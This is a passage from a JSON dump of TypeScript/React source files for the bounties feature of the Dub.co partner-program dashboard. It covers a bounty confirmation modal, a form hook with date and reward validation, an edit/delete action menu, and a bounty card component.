text-sm\">\n                  <Gift className=\"size-3.5 shrink-0\" />\n                  <span className=\"truncate\">\n                    {getBountyRewardDescription(bounty)}\n                  </span>\n                </div>\n              )}\n\n              {isOwner && (\n                <div className=\"text-content-subtle font-regular flex items-center gap-2 text-sm\">\n                  <Users6 className=\"size-3.5\" />\n                  {bounty.groups.length === 0 ? (\n                    <span>All groups</span>\n                  ) : eligibleGroups.length === 1 ? (\n                    <div className=\"flex items-center gap-1.5\">\n                      <GroupColorCircle group={eligibleGroups[0]} />\n                      <span className=\"truncate\">{eligibleGroups[0].name}</span>\n                    </div>\n                  ) : eligibleGroups.length > 1 ? (\n                    <Tooltip\n                      content={\n                        <ScrollableTooltipContent>\n                          {eligibleGroups.map((group) => (\n                            <div\n                              key={group.id}\n                              className=\"flex items-center gap-2\"\n                            >\n                              <GroupColorCircle group={group} />\n                              <span className=\"font-regular text-sm text-neutral-700\">\n                                {group.name}\n                              </span>\n                            </div>\n                          ))}\n                        </ScrollableTooltipContent>\n                      }\n                    >\n                      <div className=\"flex items-center gap-1.5\">\n                        <GroupColorCircle group={eligibleGroups[0]} />\n                        <span className=\"truncate\">\n                          {eligibleGroups[0].name} +{eligibleGroups.length - 1}\n                        </span>\n                      </div>\n                    </Tooltip>\n                  ) : null}\n                </div>\n              )}\n            </div>\n          </div>\n        </div>\n\n        <DynamicTooltipWrapper\n          tooltipProps={\n            !canSendEmailCampaigns\n              ? {\n                  content: (\n                    <TooltipContent\n                      title=\"New bounty notifications are only available on Advanced plans and above.\"\n                      cta=\"Upgrade to Advanced\"\n                      href={`/${workspaceSlug}/upgrade?showPartnersUpgradeModal=true`}\n                      target=\"_blank\"\n                    />\n                  ),\n                }\n              : undefined\n          }\n        >\n          <label\n            className={cn(\n              \"mt-4 flex items-center gap-2\",\n              !canSendEmailCampaigns &&\n                \"pointer-events-none cursor-not-allowed\",\n            )}\n          >\n            <Checkbox\n              checked={canSendEmailCampaigns ? sendNotificationEmails : false}\n              onCheckedChange={(checked) =>\n                setSendNotificationEmails(Boolean(checked))\n              }\n              disabled={!canSendEmailCampaigns}\n              className=\"data-[state=checked]:bg-black\"\n            />\n            <span\n              className={cn(\n                \"text-content-default select-none text-sm font-medium\",\n                !canSendEmailCampaigns && \"opacity-50\",\n              )}\n            >\n              Send notification to{\" \"}\n              <strong className=\"text-content-emphasis font-semibold\">\n                {loading ? (\n                  <span className=\"inline-block h-4 w-6 animate-pulse rounded bg-neutral-200 align-text-bottom\" />\n                ) : (\n                  nFormatter(totalPartners, { full: true })\n                )}{\" \"}\n                selected {pluralize(\"partner\", totalPartners)}\n              </strong>\n            </span>\n          </label>\n        </DynamicTooltipWrapper>\n      </div>\n\n      <div className=\"border-border-subtle flex items-center justify-end gap-2 border-t px-5 py-4\">\n        <Button\n          variant=\"secondary\"\n          className=\"h-8 w-fit px-3\"\n          text=\"Cancel\"\n          onClick={() => setShowConfirmCreateBountyModal(false)}\n        />\n        <Button\n          variant=\"primary\"\n          className=\"h-8 w-fit px-3\"\n          text=\"Confirm\"\n          loading={isLoading}\n          onClick={handleConfirm}\n        />\n      </div>\n    </Modal>\n  ) : null;\n}\n\nexport function useConfirmCreateBountyModal(\n  props: ConfirmCreateBountyModalProps,\n) {\n  const [showConfirmCreateBountyModal, setShowConfirmCreateBountyModal] =\n    useState(false);\n\n  return {\n    setShowConfirmCreateBountyModal,\n    confirmCreateBountyModal: (\n      <ConfirmCreateBountyModal\n        showConfirmCreateBountyModal={showConfirmCreateBountyModal}\n        setShowConfirmCreateBountyModal={setShowConfirmCreateBountyModal}\n        {...props}\n      />\n    ),\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/add-edit-bounty/use-add-edit-bounty-form.ts",
    "content": "\"use client\";\n\nimport { isCurrencyAttribute } from \"@/lib/api/workflows/utils\";\nimport { generatePerformanceBountyName } from \"@/lib/bounty/api/generate-performance-bounty-name\";\nimport {\n  BOUNTY_DESCRIPTION_MAX_LENGTH,\n  BOUNTY_MAX_SUBMISSIONS,\n} from \"@/lib/bounty/constants\";\nimport { addFrequency } from \"@/lib/bounty/periods\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountyProps } from \"@/lib/types\";\nimport { bountyPerformanceConditionSchema } from \"@/lib/zod/schemas/bounties\";\nimport { BountySubmissionFrequency } from \"@dub/prisma/client\";\nimport { formatDate } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useEffect, useMemo, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { CreateBountyInputExtended } from \"./bounty-form-context\";\nimport { useConfirmCreateBountyModal } from \"./confirm-create-bounty-modal\";\n\nconst ACCORDION_ITEMS = [\n  \"bounty-type\",\n  \"bounty-details\",\n  \"bounty-criteria\",\n  \"groups\",\n];\n\nconst isEmpty = (value: unknown) =>\n  value === undefined || value === null || value === \"\";\n\nexport function useAddEditBountyForm({\n  bounty,\n  setIsOpen,\n}: {\n  bounty?: BountyProps;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const { makeRequest, isSubmitting } = useApiMutation<BountyProps>();\n\n  const [hasStartDate, setHasStartDate] = useState(!!bounty?.startsAt);\n  const [hasEndDate, setHasEndDate] = useState(!!bounty?.endsAt);\n  const [openAccordions, setOpenAccordions] = useState(ACCORDION_ITEMS);\n  const [allowedSubmissions, setAllowedSubmissions] = useState<number>(\n    bounty?.maxSubmissions ?? 1,\n  );\n  const [submissionFrequency, setSubmissionFrequency] =\n    useState<BountySubmissionFrequency | null>(\n      bounty?.submissionFrequency ?? null,\n    );\n\n  const [submissionWindow, setSubmissionWindow] = useState<number | null>(\n    () => {\n      if (!bounty?.submissionsOpenAt || !bounty?.endsAt) return null;\n      const days = Math.ceil(\n        (new Date(bounty.endsAt).getTime() -\n          new Date(bounty.submissionsOpenAt).getTime()) /\n          (1000 * 60 * 60 * 24),\n      );\n      return days >= 2 && days <= 14 ? days : null;\n    },\n  );\n\n  const initialSubmissionRequirements = (() => {\n    const raw = bounty?.submissionRequirements;\n    const bonus = raw?.socialMetrics?.incrementalBonus;\n\n    if (raw && bonus && typeof bonus.bonusPerIncrement === \"number\") {\n      return {\n        ...raw,\n        socialMetrics: {\n          ...raw.socialMetrics!,\n          incrementalBonus: {\n            ...bonus,\n            bonusPerIncrement: bonus.bonusPerIncrement / 100,\n          },\n        },\n      };\n    }\n    return raw ?? null;\n  })();\n\n  const form = useForm<CreateBountyInputExtended>({\n    defaultValues: {\n      name: bounty?.name || undefined,\n      description: bounty?.description || undefined,\n      startsAt: bounty?.startsAt || undefined,\n      endsAt: bounty?.endsAt || undefined,\n      submissionsOpenAt: bounty?.submissionsOpenAt || undefined,\n      rewardAmount: bounty?.rewardAmount\n        ? bounty.rewardAmount / 100\n        : undefined,\n      rewardDescription: bounty?.rewardDescription || undefined,\n      type: bounty?.type || \"performance\",\n      submissionRequirements: initialSubmissionRequirements,\n      groupIds: bounty?.groups?.map(({ id }) => id) || null,\n      performanceCondition: bounty?.performanceCondition\n        ? {\n            ...bounty.performanceCondition,\n            value: isCurrencyAttribute(bounty.performanceCondition.attribute)\n              ? bounty.performanceCondition.value / 100\n              : bounty.performanceCondition.value,\n          }\n        : {\n            operator: \"gte\",\n          },\n      performanceScope: bounty?.performanceScope ?? \"new\",\n      rewardType: bounty ? (bounty.rewardAmount ? \"flat\" : \"custom\") : \"flat\",\n      submissionCriteriaType:\n        bounty?.submissionRequirements &&\n        typeof bounty.submissionRequirements === \"object\" &&\n        \"socialMetrics\" in bounty.submissionRequirements\n          ? \"socialMetrics\"\n          : \"manualSubmission\",\n    },\n    shouldUnregister: false,\n  });\n\n  const {\n    handleSubmit,\n    watch,\n    setValue,\n    control,\n    register,\n    formState: { errors, isDirty },\n  } = form;\n\n  const [\n    startsAt,\n    endsAt,\n    rewardAmount,\n    rewardDescription,\n    type,\n    name,\n    description,\n    performanceCondition,\n    groupIds,\n    rewardType,\n    submissionRequirements,\n  ] = watch([\n    \"startsAt\",\n    \"endsAt\",\n    \"rewardAmount\",\n    \"rewardDescription\",\n    \"type\",\n    \"name\",\n    \"description\",\n    \"performanceCondition\",\n    \"groupIds\",\n    \"rewardType\",\n    \"submissionRequirements\",\n  ]);\n\n  const handleStartDateToggle = (checked: boolean) => {\n    setHasStartDate(checked);\n    if (!checked) {\n      setValue(\"startsAt\", null, { shouldDirty: true, shouldValidate: true });\n    }\n  };\n\n  const handleEndDateToggle = (checked: boolean) => {\n    setHasEndDate(checked);\n    if (!checked) {\n      setValue(\"endsAt\", null, { shouldDirty: true, shouldValidate: true });\n      setSubmissionWindow(null);\n      setValue(\"submissionsOpenAt\", null, { shouldDirty: true });\n    }\n  };\n\n  const handleEndDateChange = (date: Date | null) => {\n    setValue(\"endsAt\", date, {\n      shouldDirty: true,\n      shouldValidate: true,\n    });\n    if (date && submissionWindow != null) {\n      const submissionsOpenAt = new Date(date);\n      submissionsOpenAt.setDate(submissionsOpenAt.getDate() - submissionWindow);\n      setValue(\"submissionsOpenAt\", submissionsOpenAt, {\n        shouldDirty: true,\n        shouldValidate: true,\n      });\n    }\n  };\n\n  const getInitialSubmissionWindow = () => {\n    if (!bounty?.submissionsOpenAt || !bounty?.endsAt) return null;\n    const days = Math.ceil(\n      (new Date(bounty.endsAt).getTime() -\n        new Date(bounty.submissionsOpenAt).getTime()) /\n        (1000 * 60 * 60 * 24),\n    );\n    return days >= 2 && days <= 14 ? days : null;\n  };\n\n  const handleSubmissionWindowToggle = (checked: boolean) => {\n    if (checked) {\n      const val = getInitialSubmissionWindow() ?? 2;\n      setSubmissionWindow(val);\n      if (endsAt) {\n        const submissionsOpenAt = new Date(endsAt);\n        submissionsOpenAt.setDate(submissionsOpenAt.getDate() - val);\n        setValue(\"submissionsOpenAt\", submissionsOpenAt, {\n          shouldDirty: true,\n          shouldValidate: true,\n        });\n      }\n    } else {\n      setSubmissionWindow(null);\n      setValue(\"submissionsOpenAt\", null, { shouldDirty: true });\n    }\n  };\n\n  const handleSubmissionFrequencyToggle = (checked: boolean) => {\n    if (checked) {\n      if (allowedSubmissions < 2) {\n        setAllowedSubmissions(2);\n        setValue(\"maxSubmissions\", 2, { shouldDirty: true });\n      }\n\n      if (submissionWindow != null) {\n        setSubmissionWindow(null);\n        setValue(\"submissionsOpenAt\", null, { shouldDirty: true });\n      }\n\n      setSubmissionFrequency(BountySubmissionFrequency.day);\n      setValue(\"submissionFrequency\", BountySubmissionFrequency.day, {\n        shouldDirty: true,\n      });\n    } else {\n      setSubmissionFrequency(null);\n      setValue(\"submissionFrequency\", null, { shouldDirty: true });\n    }\n  };\n\n  const handleSubmissionFrequencyChange = (\n    value: BountySubmissionFrequency,\n  ) => {\n    setSubmissionFrequency(value);\n    setValue(\"submissionFrequency\", value, { shouldDirty: true });\n  };\n\n  const handleAllowedSubmissionsChange = (value: number) => {\n    setAllowedSubmissions(value);\n    setValue(\"maxSubmissions\", value > 1 ? value : null, { shouldDirty: true });\n    if (value > 1 && submissionWindow != null) {\n      setSubmissionWindow(null);\n      setValue(\"submissionsOpenAt\", null, { shouldDirty: true });\n    }\n    if (value === 1 && submissionFrequency != null) {\n      setSubmissionFrequency(null);\n      setValue(\"submissionFrequency\", null, { shouldDirty: true });\n    }\n  };\n\n  const maxAllowedSubmissions = useMemo(() => {\n    if (!submissionFrequency || !endsAt) return BOUNTY_MAX_SUBMISSIONS;\n\n    const start = startsAt ? new Date(startsAt) : new Date();\n    const end = new Date(endsAt);\n\n    let count = 0;\n    for (let i = 0; i < BOUNTY_MAX_SUBMISSIONS; i++) {\n      const periodStart = addFrequency({\n        date: start,\n        frequency: submissionFrequency,\n        amount: i,\n      });\n      if (periodStart >= end) break;\n      count++;\n    }\n\n    return count;\n  }, [submissionFrequency, startsAt, endsAt]);\n\n  useEffect(() => {\n    if (allowedSubmissions > maxAllowedSubmissions) {\n      const clamped = maxAllowedSubmissions;\n      setAllowedSubmissions(clamped);\n      setValue(\"maxSubmissions\", clamped > 1 ? clamped : null, {\n        shouldDirty: true,\n      });\n      if (clamped === 1 && submissionFrequency != null) {\n        setSubmissionFrequency(null);\n        setValue(\"submissionFrequency\", null, { shouldDirty: true });\n      }\n    }\n  }, [\n    maxAllowedSubmissions,\n    allowedSubmissions,\n    setValue,\n    submissionFrequency,\n  ]);\n\n  const handleSubmissionWindowChange = (value: number) => {\n    setSubmissionWindow(value);\n    if (endsAt) {\n      const submissionsOpenAt = new Date(endsAt);\n      submissionsOpenAt.setDate(submissionsOpenAt.getDate() - value);\n      setValue(\"submissionsOpenAt\", submissionsOpenAt, {\n        shouldDirty: true,\n        shouldValidate: true,\n      });\n    }\n  };\n\n  const validationError = useMemo(() => {\n    const now = new Date();\n\n    const effectiveStartDate = startsAt ? new Date(startsAt) : now;\n\n    if (endsAt) {\n      const endDate = new Date(endsAt);\n\n      if (endDate <= effectiveStartDate) {\n        return `Please choose an end date that is after the start date (${formatDate(effectiveStartDate)}).`;\n      }\n\n      const minEndDate = new Date(\n        effectiveStartDate.getTime() + 60 * 60 * 1000,\n      );\n      if (endDate < minEndDate) {\n        return \"End date must be at least 1 hour after the start date.\";\n      }\n    }\n\n    if (type === \"submission\" && submissionWindow != null) {\n      if (!endsAt) {\n        return \"An end date is required to determine when the submission window opens.\";\n      }\n      if (submissionWindow < 2 || submissionWindow > 14) {\n        return \"Submission window must be between 2 and 14 days.\";\n      }\n      const calculatedSubmissionsOpenAt = new Date(endsAt);\n      calculatedSubmissionsOpenAt.setDate(\n        calculatedSubmissionsOpenAt.getDate() - submissionWindow,\n      );\n      if (calculatedSubmissionsOpenAt < effectiveStartDate) {\n        return \"Submission window is too long. It would open before the bounty starts.\";\n      }\n    }\n\n    if (type === \"submission\") {\n      if (!name?.trim()) {\n        return \"Name is required for submission bounties.\";\n      }\n\n      if (name && name.length > 100) {\n        return \"Name must be 100 characters or less.\";\n      }\n\n      if ((rewardType ?? \"flat\") === \"flat\") {\n        if (isEmpty(rewardAmount)) {\n          return \"Reward amount is required for flat rate rewards.\";\n        }\n        if (rewardAmount !== null && rewardAmount <= 0) {\n          return \"Reward amount must be greater than 0.\";\n        }\n        if (rewardAmount !== null && rewardAmount > 1000000) {\n          return \"Reward amount cannot exceed $1,000,000.\";\n        }\n      }\n\n      if ((rewardType ?? \"flat\") === \"custom\") {\n        const isSocialMetrics =\n          submissionRequirements &&\n          typeof submissionRequirements === \"object\" &&\n          \"socialMetrics\" in submissionRequirements;\n        if (!isSocialMetrics) {\n          if (!rewardDescription?.trim()) {\n            return \"Reward description is required for custom rewards.\";\n          }\n          if (rewardDescription && rewardDescription.length > 100) {\n            return \"Reward description must be 100 characters or less.\";\n          }\n        }\n      }\n    }\n\n    if (type === \"performance\") {\n      const condition = performanceCondition;\n\n      if (!condition?.attribute) {\n        return \"Performance attribute is required.\";\n      }\n\n      if (!condition?.operator) {\n        return \"Performance operator is required.\";\n      }\n\n      if (isEmpty(condition?.value)) {\n        return \"Performance value is required.\";\n      }\n\n      if (condition?.value !== null && condition.value < 0) {\n        return \"Performance value must be greater than or equal to 0.\";\n      }\n\n      if (isEmpty(rewardAmount)) {\n        return \"Reward amount is required for performance bounties.\";\n      }\n\n      if (rewardAmount !== null && rewardAmount <= 0) {\n        return \"Reward amount must be greater than 0.\";\n      }\n\n      if (rewardAmount !== null && rewardAmount > 1000000) {\n        return \"Reward amount cannot exceed $1,000,000.\";\n      }\n    }\n\n    if (description && description.length > BOUNTY_DESCRIPTION_MAX_LENGTH) {\n      return `Description must be ${BOUNTY_DESCRIPTION_MAX_LENGTH} characters or less.`;\n    }\n\n    return null;\n  }, [\n    bounty,\n    startsAt,\n    endsAt,\n    submissionWindow,\n    rewardAmount,\n    rewardDescription,\n    rewardType,\n    type,\n    name,\n    description,\n    performanceCondition?.attribute,\n    performanceCondition?.operator,\n    performanceCondition?.value,\n    submissionRequirements,\n  ]);\n\n  const performSubmit = async ({\n    sendNotificationEmails,\n  }: { sendNotificationEmails?: boolean } = {}) => {\n    if (!workspaceId) return;\n\n    const {\n      rewardType: formRewardType,\n      submissionCriteriaType: _submissionCriteriaType,\n      ...data\n    } = form.getValues();\n\n    const rawRewardAmount = data.rewardAmount;\n    const numAmount =\n      typeof rawRewardAmount === \"number\" && !Number.isNaN(rawRewardAmount)\n        ? rawRewardAmount\n        : null;\n    data.rewardAmount =\n      numAmount != null && numAmount > 0 ? numAmount * 100 : null;\n\n    if (data.type === \"performance\") {\n      const result = bountyPerformanceConditionSchema.safeParse(\n        data.performanceCondition,\n      );\n\n      if (!result.success) {\n        toast.error(\n          \"Invalid performance logic. Please fix the errors and try again.\",\n        );\n        return;\n      }\n\n      let { data: condition } = result;\n\n      condition = {\n        ...condition,\n        value: isCurrencyAttribute(condition.attribute)\n          ? condition.value * 100\n          : condition.value,\n      };\n\n      data.performanceCondition = condition;\n      data.rewardDescription = null;\n      data.submissionsOpenAt = null;\n    } else if (data.type === \"submission\") {\n      data.performanceCondition = null;\n\n      if ((formRewardType ?? \"flat\") === \"custom\") {\n        data.rewardAmount = null;\n      } else if ((formRewardType ?? \"flat\") === \"flat\") {\n        data.rewardDescription = null;\n      }\n\n      const incBonus =\n        data.submissionRequirements?.socialMetrics?.incrementalBonus;\n      if (incBonus && typeof incBonus.bonusPerIncrement === \"number\") {\n        data.submissionRequirements = {\n          ...data.submissionRequirements!,\n          socialMetrics: {\n            ...data.submissionRequirements!.socialMetrics!,\n            incrementalBonus: {\n              ...incBonus,\n              bonusPerIncrement: incBonus.bonusPerIncrement * 100,\n            },\n          },\n        };\n      }\n    }\n\n    await makeRequest(bounty ? `/api/bounties/${bounty.id}` : \"/api/bounties\", {\n      method: bounty ? \"PATCH\" : \"POST\",\n      body: { ...data, sendNotificationEmails },\n      onSuccess: () => {\n        mutatePrefix(\"/api/bounties\");\n        setIsOpen(false);\n        toast.success(`Bounty ${bounty ? \"updated\" : \"created\"} successfully!`);\n      },\n    });\n  };\n\n  const { setShowConfirmCreateBountyModal, confirmCreateBountyModal } =\n    useConfirmCreateBountyModal({\n      bounty: !validationError\n        ? {\n            type,\n            name:\n              type === \"performance\" && performanceCondition\n                ? generatePerformanceBountyName({\n                    rewardAmount: rewardAmount ? rewardAmount * 100 : 0,\n                    condition: isCurrencyAttribute(\n                      performanceCondition?.attribute,\n                    )\n                      ? {\n                          ...performanceCondition,\n                          value: performanceCondition?.value * 100,\n                        }\n                      : performanceCondition,\n                  })\n                : name || \"New bounty\",\n            startsAt: startsAt || new Date(),\n            endsAt: endsAt || null,\n            rewardAmount: rewardAmount ? rewardAmount * 100 : null,\n            rewardDescription: rewardDescription || null,\n            submissionRequirements: submissionRequirements ?? null,\n            groups: groupIds?.map((id) => ({ id })) || [],\n          }\n        : undefined,\n      onConfirm: async ({ sendNotificationEmails }) => {\n        await performSubmit({ sendNotificationEmails });\n      },\n    });\n\n  const onSubmit = handleSubmit(async () => {\n    if (bounty) {\n      await performSubmit();\n    } else {\n      setShowConfirmCreateBountyModal(true);\n    }\n  });\n\n  return {\n    form,\n    hasStartDate,\n    setHasStartDate,\n    hasEndDate,\n    handleEndDateToggle,\n    openAccordions,\n    setOpenAccordions,\n    type,\n    name,\n    control,\n    register,\n    setValue,\n    watch,\n    errors,\n    isDirty,\n    handleStartDateToggle,\n    handleEndDateChange,\n    allowedSubmissions,\n    handleAllowedSubmissionsChange,\n    maxAllowedSubmissions,\n    submissionFrequency,\n    handleSubmissionFrequencyToggle,\n    handleSubmissionFrequencyChange,\n    submissionWindow,\n    handleSubmissionWindowToggle,\n    handleSubmissionWindowChange,\n    validationError,\n    confirmCreateBountyModal,\n    setShowConfirmCreateBountyModal,\n    onSubmit,\n    isSubmitting,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/bounty-action-button.tsx",
    "content": "\"use client\";\n\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport {\n  SubmissionsCountByStatus,\n  useBountySubmissionsCount,\n} from \"@/lib/swr/use-bounty-submissions-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountyProps } from \"@/lib/types\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, MenuItem, Popover } from \"@dub/ui\";\nimport { PenWriting, Trash } from \"@dub/ui/icons\";\nimport { Command } from \"cmdk\";\nimport { useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { useBountySheet } from \"./add-edit-bounty/add-edit-bounty-sheet\";\n\ninterface BountyActionButtonProps {\n  bounty: BountyProps;\n  className?: string;\n  buttonClassName?: string;\n}\n\nexport function BountyActionButton({\n  bounty,\n  className,\n  buttonClassName,\n}: BountyActionButtonProps) {\n  const [isOpen, setIsOpen] = useState(false);\n  const { id: workspaceId } = useWorkspace();\n  const { setShowCreateBountySheet, BountySheet } = useBountySheet({ bounty });\n\n  const { submissionsCount } = useBountySubmissionsCount<\n    SubmissionsCountByStatus[]\n  >({\n    ignoreParams: true,\n    enabled: Boolean(bounty),\n  });\n  const totalSubmissions = useMemo(() => {\n    return submissionsCount?.reduce((acc, curr) => acc + curr.count, 0) ?? 0;\n  }, [submissionsCount]);\n\n  const { confirmModal: deleteModal, setShowConfirmModal: setShowDeleteModal } =\n    useConfirmModal({\n      title: \"Delete bounty\",\n      description:\n        \"Are you sure you want to delete this bounty? This action is irreversible – please proceed with caution.\",\n      onConfirm: async () => {\n        const response = await fetch(\n          `/api/bounties/${bounty.id}?workspaceId=${workspaceId}`,\n          {\n            method: \"DELETE\",\n            headers: {\n              \"Content-Type\": \"application/json\",\n            },\n          },\n        );\n\n        if (!response.ok) {\n          const { error } = await response.json();\n          toast.error(error.message);\n          return;\n        }\n\n        await mutatePrefix(\"/api/bounties\");\n        toast.success(\"Bounty deleted successfully!\");\n      },\n    });\n\n  return (\n    <>\n      {BountySheet}\n      {deleteModal}\n      <div className={className}>\n        <Popover\n          openPopover={isOpen}\n          setOpenPopover={setIsOpen}\n          content={\n            <Command tabIndex={0} loop className=\"focus:outline-none\">\n              <Command.List className=\"flex w-screen flex-col gap-1 p-1.5 text-sm focus-visible:outline-none sm:w-auto sm:min-w-[200px]\">\n                <MenuItem\n                  as={Command.Item}\n                  icon={PenWriting}\n                  variant=\"default\"\n                  onSelect={() => {\n                    setShowCreateBountySheet(true);\n                    setIsOpen(false);\n                  }}\n                >\n                  Edit bounty\n                </MenuItem>\n\n                <MenuItem\n                  as={Command.Item}\n                  icon={Trash}\n                  variant=\"danger\"\n                  onSelect={() => {\n                    setIsOpen(false);\n                    setShowDeleteModal(true);\n                  }}\n                  disabledTooltip={\n                    totalSubmissions > 0\n                      ? \"Bounties with submissions cannot be deleted.\"\n                      : undefined\n                  }\n                >\n                  Delete bounty\n                </MenuItem>\n              </Command.List>\n            </Command>\n          }\n          align=\"end\"\n        >\n          <Button\n            type=\"button\"\n            className={buttonClassName || \"w-auto px-1.5\"}\n            variant=\"secondary\"\n            icon={<ThreeDots className=\"h-4 w-4 shrink-0\" />}\n          />\n        </Popover>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/bounty-card.tsx",
    "content": "import useGroups from \"@/lib/swr/use-groups\";\nimport { usePartnersCountByGroupIds } from \"@/lib/swr/use-partners-count-by-groupids\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountyListProps } from \"@/lib/types\";\nimport { BountyRewardDescription } from \"@/ui/partners/bounties/bounty-reward-description\";\nimport { BountyThumbnailImage } from \"@/ui/partners/bounties/bounty-thumbnail-image\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { DynamicTooltipWrapper, ScrollableTooltipContent } from \"@dub/ui\";\nimport { Calendar6, Users, Users6 } from \"@dub/ui/icons\";\nimport { formatDate, nFormatter, pluralize } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useMemo } from \"react\";\n\nexport function BountyCard({ bounty }: { bounty: BountyListProps }) {\n  const { slug: workspaceSlug, isOwner } = useWorkspace();\n\n  const { totalPartners, loading } = usePartnersCountByGroupIds({\n    groupIds: bounty.groups.map((group) => group.id),\n  });\n\n  const { groups } = useGroups();\n\n  const eligibleGroups = useMemo(() => {\n    if (!groups || bounty.groups.length === 0) {\n      return [];\n    }\n    return bounty.groups\n      .map((bountyGroup) => groups.find((g) => g.id === bountyGroup.id))\n      .filter((g): g is NonNullable<typeof g> => g !== undefined);\n  }, [groups, bounty.groups]);\n\n  return (\n    <div className=\"border-border-subtle hover:border-border-default relative cursor-pointer rounded-xl border bg-white p-2 transition-all hover:shadow-lg\">\n      <Link\n        href={`/${workspaceSlug}/program/bounties/${bounty.id}`}\n        className=\"flex flex-col gap-3.5\"\n      >\n        <div className=\"relative flex h-[124px] items-center justify-center rounded-lg bg-neutral-100 py-3\">\n          <div className=\"relative size-full\">\n            <BountyThumbnailImage bounty={bounty} />\n          </div>\n\n          <div className=\"absolute left-2 top-2 z-10 flex flex-col gap-1.5\">\n            {bounty.submissionsCountData &&\n              bounty.submissionsCountData.submitted > 0 && (\n                <SubmissionsCountBadge\n                  count={bounty.submissionsCountData.submitted}\n                />\n              )}\n            {bounty.endsAt && new Date(bounty.endsAt) < new Date() && (\n              <BountyEndedBadge endsAt={bounty.endsAt} />\n            )}\n          </div>\n        </div>\n\n        <div className=\"flex flex-col gap-1.5 px-2 pb-1.5\">\n          <h3 className=\"text-content-emphasis text-sm font-semibold md:truncate\">\n            {bounty.name}\n          </h3>\n\n          <div className=\"text-content-subtle font-regular flex items-center gap-2 text-sm\">\n            <Calendar6 className=\"size-3.5\" />\n            <span>\n              {formatDate(bounty.startsAt, { month: \"short\" })}\n              {bounty.endsAt && (\n                <>\n                  {\" → \"}\n                  {formatDate(bounty.endsAt, { month: \"short\" })}\n                </>\n              )}\n            </span>\n          </div>\n\n          <BountyRewardDescription\n            bounty={bounty}\n            className=\"font-regular\"\n            onTooltipClick={(e) => e.preventDefault()}\n          />\n\n          <div className=\"text-content-subtle font-regular flex items-center gap-2 text-sm\">\n            <Users className=\"size-3.5\" />\n            <div className=\"h-5\">\n              {loading ? (\n                <span className=\"inline-block h-5 w-8 animate-pulse rounded bg-neutral-200 align-middle\" />\n              ) : totalPartners === 0 ? (\n                <>\n                  <span className=\"text-content-default\">0</span>{\" \"}\n                  {pluralize(\"partner\", 0)}{\" \"}\n                  {bounty.type === \"performance\" ? \"completed\" : \"submitted\"}\n                </>\n              ) : bounty.submissionsCountData?.total === totalPartners ? (\n                <>\n                  All{\" \"}\n                  <span className=\"text-content-default\">\n                    {nFormatter(totalPartners, { full: true })}\n                  </span>{\" \"}\n                  {pluralize(\"partner\", totalPartners)}{\" \"}\n                  {bounty.type === \"performance\" ? \"completed\" : \"submitted\"}\n                </>\n              ) : (\n                <>\n                  <span className=\"text-content-default\">\n                    {nFormatter(bounty.submissionsCountData?.total ?? 0, {\n                      full: true,\n                    })}\n                  </span>{\" \"}\n                  of{\" \"}\n                  <span className=\"text-content-default\">\n                    {nFormatter(totalPartners, { full: true })}\n                  </span>{\" \"}\n                  {pluralize(\"partner\", totalPartners)}{\" \"}\n                  {bounty.type === \"performance\" ? \"completed\" : \"submitted\"}\n                </>\n              )}\n            </div>\n          </div>\n\n          <div className=\"text-content-subtle font-regular flex items-center gap-2 text-sm\">\n            <Users6 className=\"size-3.5\" />\n            {bounty.groups.length === 0 ? (\n              <span>All groups</span>\n            ) : eligibleGroups.length > 0 ? (\n              <DynamicTooltipWrapper\n                tooltipProps={\n                  eligibleGroups.length > 1\n                    ? {\n                        content: (\n                          <ScrollableTooltipContent>\n                            {eligibleGroups.map((group) => (\n                              <div\n                                key={group.id}\n                                className=\"flex items-center gap-2\"\n                              >\n                                <GroupColorCircle group={group} />\n                                <span className=\"font-regular text-sm text-neutral-700\">\n                                  {group.name}\n                                </span>\n                              </div>\n                            ))}\n                          </ScrollableTooltipContent>\n                        ),\n                      }\n                    : undefined\n                }\n              >\n                <div className=\"flex items-center gap-1.5\">\n                  <GroupColorCircle group={eligibleGroups[0]} />\n                  <span className=\"truncate\">\n                    {eligibleGroups[0].name}{\" \"}\n                    {eligibleGroups.length > 1\n                      ? `+${eligibleGroups.length - 1}`\n                      : \"\"}\n                  </span>\n                </div>\n              </DynamicTooltipWrapper>\n            ) : (\n              <div className=\"h-5 w-32 animate-pulse rounded bg-neutral-200\" />\n            )}\n          </div>\n        </div>\n      </Link>\n    </div>\n  );\n}\n\nfunction SubmissionsCountBadge({ count }: { count: number }) {\n  return (\n    <div className=\"flex h-5 w-fit items-center gap-1 rounded-md bg-blue-100 px-2 py-1 text-xs font-semibold text-blue-600\">\n      {nFormatter(count, { full: true })} {pluralize(\"submission\", count)}{\" \"}\n      awaiting review\n    </div>\n  );\n}\nfunction BountyEndedBadge({ endsAt }: { endsAt: Date }) {\n  return (\n    <div className=\"flex h-5 w-fit items-center gap-1 rounded-md bg-neutral-200 px-2 py-1 text-xs font-semibold text-neutral-600\">\n      Ended {formatDate(endsAt, { month: \"short\" })}\n    </div>\n  );\n}\n\nexport function BountyCardSkeleton() {\n  return (\n    <div className=\"border-border-subtle rounded-xl border bg-white p-2\">\n      <div className=\"flex flex-col gap-3.5\">\n        <div className=\"relative flex h-[124px] animate-pulse items-center justify-center rounded-lg bg-neutral-200\" />\n        <div className=\"flex flex-col gap-1.5 